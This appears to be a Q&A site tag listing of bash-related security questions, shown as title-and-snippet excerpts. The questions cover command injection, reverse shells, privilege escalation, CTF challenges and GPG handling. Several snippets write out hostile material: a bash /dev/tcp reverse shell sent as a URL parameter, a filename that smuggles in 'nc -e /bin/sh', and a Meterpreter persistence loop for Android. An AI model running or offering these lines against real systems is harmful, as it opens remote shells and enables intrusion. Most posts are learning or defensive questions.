Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [bash]

The Bourne-again shell (Bash) is a unix shell. It lets the user run commands on the host machine in as a text based program. Questions using this tag should either be related to vulnerabilities of bash or proper use of specific commands.

Filter by
Sorted by
Tagged with
0 votes
0 answers
210 views

how to exploit read -p in bash script

i wanna execute ls command inplace of the output being "your name is ls" is there a way to do it ? read -p "name??" name echo "your name is $name"
AverageUser69's user avatar
0 votes
0 answers
611 views

Bash reverse shell as a URL parameter value

I try to put bash reverse shell as a URL parameter. The command is as follows: bash -i >& /dev/tcp/192.168.56.105/4444 0>&1 I have encoded the above code with URL encoding bash%20-i%20%...
Texicans's user avatar
0 votes
1 answer
126 views

Auto-opening a reverse bash shell

Is it possible to use a tool like netcat to create a listener on the attacker's device with a specific command that when the target device or machine connects to this IP and port, it runs a bash shell ...
19216811's user avatar
4 votes
1 answer
202 views

GPG allows importing an invalid secp256k1 public key

I came across a PGP public key that seems invalid. The key is a secp256k1 public key that supported by GPG. In fact, GPG allows importing that key even if it has an invalid secp256k1 public key inside....
Andreas Tzionis's user avatar
0 votes
1 answer
1k views

Doing a diff between two keystore files

I have a keystore file with certificates and I want to compare if the second keystore has exactly the same contents as the first one. One approach would be to extract the certificates using keytool ...
Jim's user avatar
  • 183
0 votes
0 answers
104 views

How to isolate a bash script process?

I have a bash script that opens various random files that could be anything (PDF, xlsx, MKV, MP4, WebM, html). Since I don't fully trust the source of these files, there is a chance that some of them ...
Arrow Root's user avatar
1 vote
0 answers
1k views

How can you perform OS Command Injection when single-quotes are filtered?

While attempting OS Command Injection on a url.com/?ping= parameter, I see that all single quotes ' are being escaped and replaced by \\'. This is problematic because whenever you submit a value to ?...
Blumie's user avatar
  • 11
-1 votes
1 answer
107 views

How i can grep only subdomain names without "target.com" [closed]

i have w wordlist of subdomains contains like this : admin.bugbountytarget.com portal.bugbountytarget.com sales.bugbountytarget.com vpn1.bugbountytarget.com dev.test.bugbountytarget.com ... And I ...
Edward Akina's user avatar
0 votes
1 answer
333 views

bash: how to securely source a script from an environment variable

Say I want to do source $VIRTUAL_ENV/bin/activate in my bashrc whenever the VIRTUAL_ENV is defined. In general, the idea of running a script pointed by an environment variable seems a bit fishy as it ...
salmin's user avatar
  • 103
1 vote
1 answer
158 views

What scenarios does calling `clear` at the end of an ssh session protect against?

I have noticed that some server configurations put a clear command in the default ~/.bash_logout file, also with the comment "Clear the screen for security's sake". I can see that this ...
chiborg's user avatar
  • 673
7 votes
2 answers
2k views

/opt and sudo unzip to /opt, is it safe?

Usually we place things in /opt so they are owned by root but normal users can execute them. This prevents normal users modifying the binaries so they cannot execute arbitrary stuff. However, to put ...
Guerlando OCs's user avatar
0 votes
1 answer
784 views

BASH vs SH (dash, etc.) in terms of security [closed]

Since I am new to Linux, when writing scripts I always followed the rule "the less code, the less attack surface", so I try to write scripts with privileged access (sudo, root, etc.) in sh ...
NewLinux's user avatar
  • 685
1 vote
2 answers
310 views

How exposed is user data when running PINENTRY_USER_DATA="foo" gpg --change-pin?

When running PINENTRY_USER_DATA="foo" gpg --change-pin in bash, how easy is it for other processes to capture “foo”?
sunknudsen's user avatar
0 votes
2 answers
2k views

Is there a way to change your current UID to equal your EUID?

Here is the scenario: running id gives this : uid=1001(test1) gid=1001(test1) euid=1000(bl4ckc4t) groups=1001(test1) - This means that I am user test1, but my euid is set to another user. My goal is ...
Bl4ckC4t's user avatar
0 votes
0 answers
383 views

How to supply both passphrase and string to encrypt to GnuPG using command line?

Considering using echo -n "passphrase" | gpg --batch --passphrase-fd 0 ... inside of Bash script (which should mitigate leaking passphrase to process list given echo is a built-in command, ...
sunknudsen's user avatar
2 votes
2 answers
2k views

Are positional parameters vulnerable to command injection?

I am trying to find if the following shell script is vulnerable to command injection #!/bin/sh set -x dig +noall +answer TXT $2._domainkey.$1 Now when I try something like this, sh script.sh "...
Krishnaraj's user avatar
2 votes
1 answer
319 views

Possible to inject in the middle of a ROOT NOPASSWD command with a wild card?

I'm testing for privilege escalations on a Ubuntu 18.04 host, and after running sudo -l , I've discovered a couple of root NOPASSWD commands for a standard user (w/unknown password). These commands ...
Duck's user avatar
  • 41
0 votes
1 answer
134 views

What is claimed here about a vulnerability in the target of a "really common shell"?

in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted: fucking yikes.. ran every bitcoin exchange for a really common shell and found.... Uname: Linux cloudimage 4.4.0-166-generic ...
hedgedandlevered's user avatar
1 vote
1 answer
119 views

CLI application running user defined command periodically [closed]

For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>). I have seen other applications ...
roperzh's user avatar
  • 113
0 votes
2 answers
164 views

How to connect to a MariaDB database after collecting data about users and passwords with a SQLI? [closed]

I'm trying to breach a dummy MariaDB database which is vulnerable to SQLI and is storing sensitive data about its users and their passwords. I've collected all the data I could collect, but now how am ...
justanothernoob's user avatar
0 votes
0 answers
409 views

how to hack rbash --?

I'm solving CTF challenge, and have to escalate the privilege from user1 to user2, $HOME is read-only, so i can't change $HOME/.bashrc. sudo -l shows (user2) NOPASSOWRD: /usr/rbash -- i can't write ...
Error's user avatar
  • 103
0 votes
1 answer
450 views

Linux Privilege Escalation [closed]

I've been trying to solve a box. I got into the box by exploiting a web app and got reverse shell so I was www-data. I then found an ssh key that I used to login as another user and I ran sudo -l ...
Angela Hewitt's user avatar
1 vote
0 answers
101 views

Bash - SUID Program's Child Process did not inherit Parent Process UID as EUID [duplicate]

Background In practicing pentesting a VM on Vulnhub I encountered an issue that is quite interesting with Brainpan. After initial access with a limited shell generated from a BoF exploit on a service ...
0x5929's user avatar
  • 355
2 votes
0 answers
1k views

Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
NattyP's user avatar
  • 21
1 vote
0 answers
893 views

Prevent Android Meterpreter being killed when apps are closed

This is the bash script for my android payload #!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done The issue is when I do Clear ...
Jiya's user avatar
  • 111
3 votes
1 answer
251 views

Randomly generating invoice IDs

I'm in the process of setting up a local (i.e. offline and very limited) business, and I'm thinking of generating invoice IDs randomly to avoid the clients knowing that they're customer number #...
Hashim Aziz's user avatar
1 vote
3 answers
178 views

Is running bash script that is taking arguments from site dialog box a good idea?

I'm building a site that will use youtubeAPI to keep track of playlist changes. In order for 3rd party to use it I would supply a dialog box in which user would type his/hers playlistID - this would ...
mgaak's user avatar
  • 13
0 votes
0 answers
297 views

How secure is /dev/stdin in UNIX systems?

Is decrypting secrets with ccrypt and piping the result via stdin to openvpn secure? I've written the following alias to start an openvpn client more easily than before: sudo bash -c 'cd ...
rmercier's user avatar
0 votes
1 answer
9k views

What is bindshell backdoor?

I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit. I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
Tenchu's user avatar
  • 5
0 votes
2 answers
2k views

Exectuting sudo command in one line within a non-tty shell

I have access to a server via RCE over http. I can send post requests to the server which results in command execution. I am attempting to escalate privileges via sudo (su is not installed). The ...
dd_doriz's user avatar
0 votes
1 answer
539 views

msfconsole and using bash variables

When trying to set RHOSTS for an auxiliary module, I tried using $server, which is a bash variable I've set before entering msfconsole. It is not readable from within msfconsole. How do I access bash ...
driverobject's user avatar
0 votes
1 answer
325 views

Looking for a way to overwrite a symbolic link

I'm peparing for OSCP and I found an interesting situation (Alpine Linux). There is a daemon super_service executed by root that is reading configuration file from /var/super_service/configs/ which ...
elklepo's user avatar
  • 103
4 votes
1 answer
520 views

Is this bash command vulnerable to code injection?

I'm wondering if the following code is vulnerable to command injection in bash: sumo /bin/netflash -Uk $CONTROLED_OPTION 2>&1 I'm thinking since it's not included in " " it should be ...
Neolex's user avatar
  • 384
0 votes
2 answers
1k views

Find Buffer Overflows at a target you want to gain access

I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows. In the example in the videos, the guy has ...
Soteri's user avatar
  • 123
0 votes
1 answer
2k views

How .bashrc can be used to attack a system?

I read about this malicious Sudo function on Nullbyte where by inserting this bash function into a victims .bashrc/.bash_profile an attacker could exfiltrate sudo passwords fairly easily. This got ...
Kyle Fennell's user avatar
5 votes
0 answers
250 views

Why am I getting seemingly random fingerprints back when connecting via SSH/SCP?

I manage an application that connects to various servers using a client-specific keypair. We have around 70 customers; all but one can connect to our FTP server (for SCP) after first accepting the RSA ...
Andrew's user avatar
  • 51
18 votes
1 answer
21k views

How to do a privileges escalation with ping?

I am trying to achieve a privilege escalation. I have a virtual machine on Linux and I escaped from an rbash terminal. I have now a "normal" user terminal. My user is not in the sudoers file. Is it ...
mb3354's user avatar
  • 181
3 votes
2 answers
609 views

Are alphanumeric strings safe to pass to a bash script?

I'm currently developing a web service that takes user input and passes it to a bash script as an argument. I know that without sanitizing this allows for remote command execution. So I want to know ...
limeeattack's user avatar
1 vote
0 answers
244 views

name file as command [closed]

name file as command Is it possible to put command as filename in Linux For example touch anything.jpg or touch anything Can i change name of file with mv to be anything;nc -e /bin/sh
I'm V's user avatar
  • 13
2 votes
2 answers
7k views

Is this Bash code vulnerable to code injection?

I'm writing a libre program named "silently" for enhancing error handling in Bash, emulating the behavior of a jidoka. My question is if that eval would be vulnerable to code injection if the ...
Alberto Salvia Novella's user avatar
2 votes
0 answers
305 views

Safe Bash Emulation - using chroot and qemu

I am trying to run a bash script in a sandbox to gain information about what it launches. There don't appear to be good emulators or static analysis tools for it, so I was going to run it in a chroot, ...
Ryan's user avatar
  • 21
1 vote
1 answer
982 views

Protect server in CTF challenge when exploting input() vulnerability in python

There was this challenge in one of the CTF's I played in which you had to exploit the input vulnerability of Python 2.x . I was just wondering that since the input function in Python 2.x is same as ...
M. S. L's user avatar
  • 11
1 vote
2 answers
309 views

The most secure way to allow downloading and installing an app on Mac, Windows, or Linux

I have been introduced to the anti-bash-script-piping stuff such as these: Curl Bash Piping Wall of Shame (link broken) Piping curl to s(hell) Don't Pipe to your Shell The hidden dangers of piping ...
Lance's user avatar
  • 632
50 votes
5 answers
10k views

Is using 'echo' to display attacker-controlled data on the terminal dangerous?

Imagine the following code: ATTACKERDATA="$(cat attackerControlledFile.txt)" echo "${ATTACKERDATA}" An attacker can, through whatever arbitrary process, modify the contents of attackerControlledFile....
user avatar
0 votes
2 answers
444 views

In some situation can be dangerous to echo command (e.g. rm -rf *) using a script?

If I have a script which on some conditions just do echo "rm -rf *" Can it be exploited in some way? EDIT: the goal is to write an enumeration script which will eventually suggests a command to ...
Maicake's user avatar
  • 567
1 vote
0 answers
166 views

.bash_history, where else commands might be stored in a Linux system? [closed]

How can I find all places where commands are stored in plain text in the system? I would disable the logging or restrict access to. Is it a security risk for a system if an attacker get access to all ...
brkroot's user avatar
  • 19
1 vote
0 answers
237 views

How to stop logging for a specific user?

I'm a root user on my server. There are a bunch of users on my system. As you know, when you type w you can see who is and who isn't online. With the last command you can check last users who were ...
Freeman's user avatar
  • 241
2 votes
1 answer
153 views

Confusion Matrix for Generated Signatures in Snort

How do we come with True Positives and False Negatives rates when creating signatures in IDS? How do we measure the signatures efficiency? I've seen so many papers that discuss the same, but how do ...
Tasneem Singh's user avatar
7 votes
2 answers
825 views

Bash function manipulation explained

I was recently reading through a write up on a capture the flag Linux VulnHub machine. For privilege escalation, the author references 'bash function manipulation'. A Google search turns up very ...
n00b's user avatar
  • 465
7 votes
3 answers
214 views

SH Write a file with contents without any special chars

So, I've got a challenge and it's as follows. You can access a normal shell(sh) on clean RHEL 6 installation. Write arbitrary content to file.txt, but without the following characters. # & \ +...
rotatorexperiment's user avatar